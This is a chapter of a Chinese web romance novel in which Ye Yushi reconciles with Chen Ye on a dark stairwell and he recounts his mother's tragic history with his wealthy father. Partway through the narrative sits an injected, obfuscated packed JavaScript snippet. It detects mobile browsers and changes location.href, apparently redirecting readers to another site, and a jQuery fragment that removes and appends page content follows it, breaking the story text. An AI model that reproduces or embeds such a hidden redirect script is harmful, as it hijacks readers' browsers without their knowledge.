25. 过往
作品:《滞后效应》 陈野从墓地那边回来天已经黑透。
楼梯道昏暗。
不时有人经过,传来错乱的脚步声,声控灯亮了又灭。
“哒”
“哒”
熟悉的频率。
门口台阶上坐着一个人。
陈野抬头。
头发被扎起,绿色发带系成蝴蝶结,跟那天商场看到时候一模一样。
“陈野。”她轻声喊。
少年的眼神冷漠。
叶雨时看到一种从未有过的疏离。
他身上还有淡淡的味道,不是香水,不是洗涤剂,更像是那天春长观的香火味。
“我没认错人。”
声控灯熄灭,陷入黑暗。叶雨时怕陈野再次躲着她,起身往楼梯下走。
坐的太久,脚有些麻,刚迈出两步,忽然踩空身体失重。
她下意识抓紧了楼梯扶手。
动静过大,声控灯再次被震亮。
陈野手还抓着叶雨时的胳膊。
“陈野,我没认错人。”叶雨时扶着栏杆站稳。
她往下迈了一步,“那天晚上我脑子确实有点乱,理不清思绪。”
陈野松开手,慢慢抬起头,眼里一片死寂,直接略过她,拾级而上。
叶雨时飞快挤到他身旁,扯住他的胳膊。
陈野身形微晃,扬手甩开。
叶雨时语气坚定:“我没认错人。”
陈野轻笑:“怎么?替他来报复我了?嗯?是要报复回来吗?”
“陈野,我说了,我没认错人。”叶雨时试图唤醒他的理智。
“你想怎么报复?嗯?”陈野紧握的手又松开,他站在台阶上半依着墙壁喘息。
楼道内昏暗的光闪烁,一些飞蛾在光里飞舞,他的影子在台阶上被一级一级切碎。
叶雨时再次伸手去拉,被他轻易躲开。
“我说了我没认错人。”这句解释落在少年耳朵很无力,也很苍白。
陈野垂头看着地面,声音因为用力带起胸腔的颤动,“我栽了,我认,是我活该。”
“陈野,我说了我没认错人,如果你觉得我们现在的关系不舒服,我们可以先当做朋友相处。”
“朋友?”陈野喃喃重复了一句,偏头看她,嘴角带着一丝嘲讽,“我缺朋友吗?谁tm稀罕跟你做朋友。”
他往前一步,一手扣住叶雨时的后颈,拉近,拇指紧贴着她耳垂,微微弓身,与她视线齐平,一字一句咬得格外用力,“看清楚了吗?我的眼皮从来没有痣。”
陈野紊乱的呼吸喷洒在脸颊,他额头的淤青淡了,也更瘦了,下巴也多了一些胡渣。
“没有人会在吃完一碗面连汤都喝完后才说很难吃,也没有人哭了嘴硬却说是流鼻涕,只有你,只有你。”叶雨时抓着脖子上那枚戒指,举到他面前,“还有这个……这个对你很重要,你第一次见面就认出来了……你忘了吗?”
忘了忘了全都忘了。
她来了好像就什么都不重要,
她来,这就足够了。
明明话都还没有说开,那个结就那么解开了。
如冬日寒冰,都将会化成一滩春水。
他眼尾带着一点湿润,长睫低垂,前言不搭后语,嘴唇轻颤:“你怎么能这样,你不能这样,我都打算好了,你不能这样……不能……”
他哽咽到说不出话。
叶雨时捧起他的脸,委屈一股脑倒了出来,“我怎样?你拉黑我,电话不接短信不回,手机又关机,我很担心你,知道吗?”
陈野身体脱力弯着脊背将下巴抵在她的颈窝。
他的重量压的叶雨时后退了两步,身体贴到栏杆勉强站稳。
他安静下来。
声控灯又灭。
黑暗会放大人的情绪和感官。
胡茬透过衣服刺入皮肤,肩膀传来温凉的湿润。
“你又流鼻涕了吗?”
肩膀力道重了重。
胡茬扎入的更深。
他在点头。
“陈野,你有好好吃饭吗?”
他反应迟钝,先是摇了摇头,又点了点头,最后又摇了摇头。
“陈野,你就是你,无论你是叫闻停还是叫陈野都不重要。”
“重要的是你。”叶雨时想起那天他身上带着酒气,没头没脑的那句问话,此刻有了唯一的确切答案。
“我没有认错人,未来的你眼皮为什么有痣我不知道,但是我肯定就是你,不要再躲着我好吗?”
陈野虽然瘦了很多,毕竟也是个男生,全部的力量压在叶雨时身上,到底是有些困难。
“陈野,我腿麻。”
他吸了吸鼻子,慢慢的将下巴移开,眼睛闪过一瞬的茫然,像是雏鸟第一次睁眼看到这个世界。
叶雨时朝他伸出手,拉着他的手带到门口,台阶的影子慢慢拼凑完整,投在平整的地面。
他手抖了几次,钥匙都戳不进去,最后还是叶雨时拿过钥匙打开门。
进了屋子陈野的手一直都没松开。
“陈野,为什么来桑南?”这是她第二次问,她目光扫到一旁的垃圾桶,干干净净的,没有一丝生活痕迹,他们离开桑南时候阳台上有几个衣架忘了收,此刻依旧挂在上面,分毫未动。
就在叶雨时以为陈野不会回答的时候。
少年平静的声音响起,尾音却是下压着,“因为妈妈在这里。”
陈野松开手,坐回沙发,往后一靠,视线落在她脖子上的那枚银戒。
一个十八线的小县城的一个普通卖花姑娘。
生在这里,也死在这里。
一个从小纸醉金迷的有钱人家大少爷,两个不可能的人,就那么遇见了。
当年意气风发不可一世的闻鹤山被连惠卿逼着和沈窈姝分手。
从小顺风顺水惯了,这是他唯一受挫。
被阻挡的爱情,总能激起人更强烈的反抗。
他酗酒抽烟,游戏人间,开车兜兜转转漫无目的,最后停在了桑南。
陈弦月生的漂亮,一个孤女在小镇生活总会招来一些不怀好意。
她卖花的时候总会装着一把磨得锋利的剪刀,刀刃像是锥子,轻轻碰一下都能戳个血窟窿。
闻鹤山把车停在路边抽烟的时候,看到她拿着剪刀吓跑了一个想要调戏她的小青年。
或许是好奇,或许是烦闷中看到了一出闹剧觉得有趣,闻鹤山买下了她的所有花,让她早些回家。
这些没人告诉陈野,都是在闻鹤山醉酒发疯打他时候,断断续续拼凑出来的。
不知道闻鹤山当时没有动心,也许只是因为是心里憋着一口气需要一个发泄,他连续一个月包圆了陈弦月的花。
后来就有传言说那个卖花的姑娘被有钱人享福去了,真是好命。
也有些说是跟野男人跑了。
桑南不大,流言蜚语像是雨点子一样落进家家户户。
连惠卿知道闻鹤山把陈弦月带回来是赌气,但只要不是沈窈姝,她也就放任着不管。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103875|193817||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陈弦月怀孕生产的时候,闻鹤山正偷偷摸摸在国外陪着沈窈姝产检。
她没有闹,只是安安静静做完月子,不声不响地抱着孩子回到桑南。
陈野似乎是说累了,在沙发躺下。
叶雨时顺势躺在他身边。
窄小的沙发承载着两个人的重量,微微动一下就会吱呀吱呀响。
叶雨时没有继续问,手背在陈野背上拍了拍。
他沉默了很久,闭着眼睛。
叶雨时以为他不想讲了,正沉默的消化着这个故事。
他长臂一伸拦住叶雨时肩膀,像是生锈的机器又恢复了运转,“我还没说完。”
不知道是不是真的有些情分,闻鹤山追到桑南,把人哄了回去承诺给她一场盛大的婚礼。
就这样一边哄着陈弦月一边瞒着国外的沈窈姝。
婚礼前几天,闻鹤山愈发反常。
女人的第六感总是很准,比如他接电话悄悄压低的声音,手机响起是下意识的警觉,还有他忽然加倍的关心,这些都是他出轨的证据。
陈弦月性格刚烈也决绝,趁着闻鹤山熟睡的时候,用那把剪刀从根源解决了问题。
陈野心情似乎好了点,也有心思调侃了,似笑非笑地问:“他是不是活该?”
叶雨时顿了两秒,“嗯。”
陈野似乎不满意叶雨时的简短的回答,轻哼了一声。
闻鹤山再怎么混蛋也是连惠卿的儿子,自己身上掉下来的肉到底是心疼。
陈弦月抱着孩子被赶出了闻家。
一个孤女没人帮衬,又带着孩子,日子肯定不会好过。
苦难落在人身上仿佛是没有尽头,陈弦月带着陈野去拍百天照的时候出了车祸。
一个人酒驾闯红灯,陈弦月当场身亡。
警察通知到闻鹤山,那边也只是不咸不淡的应了一声,仿佛接听的是个骚扰电话。
闻鹤山和连惠卿甚至都没来看过一眼,只派来了一个助理匆匆料理了后事。
他被警察送去闻家,就这样不着调的养着。
陈野自小都以为所有的小孩都会跟他一样,直到上了幼儿园才知道什么是妈妈,为什么每个小朋友都有,他没有。
他第一主动跟别的小朋友交谈还有些紧张,手里还拿了一颗糖讨好对方,“妈妈是在哪里领的?”
他以为妈妈和老师发的小面包和牛奶一样,是不是他生病的时候缺课,老师忘记给他发了。
小孩子的嘲笑和讥讽都是直白的,一群人围着他,一个人带头,其他人有样学样指着他,“他是傻子,他说妈妈是老师发的,闻野是个小傻子。”
那个时候只有路明眼巴巴盯着他手里的糖,偷偷地跟他说,“我想把我的妈卖给你,她有点凶,你不能反悔。”
两个人对的友谊就这样因为一颗糖的买卖诞生,最后路明屁股也没逃掉开花。
陈弦月这个名字在闻家是个禁词,甚至连一张照片都没有,遗物只有那枚银戒。
其实对于妈妈陈野是内心是陌生的,也没有印象。
没有得到过,也不曾真的体验过,只是看到别的孩子时候会羡慕。
就算是别的小孩被妈妈打也是羡慕。
叶雨时没有问他为什么从闻家出来,眼睛盯着房顶脱皮漏出的水泥,如果他在闻家过的好,就不会桑南这个小地方,住进这样的破旧的居民楼。
陈野身上淡淡的香火味道还在,叶雨时看着他紧闭的眉眼,搂紧了他的脊背,“今天是去看她了吗?”

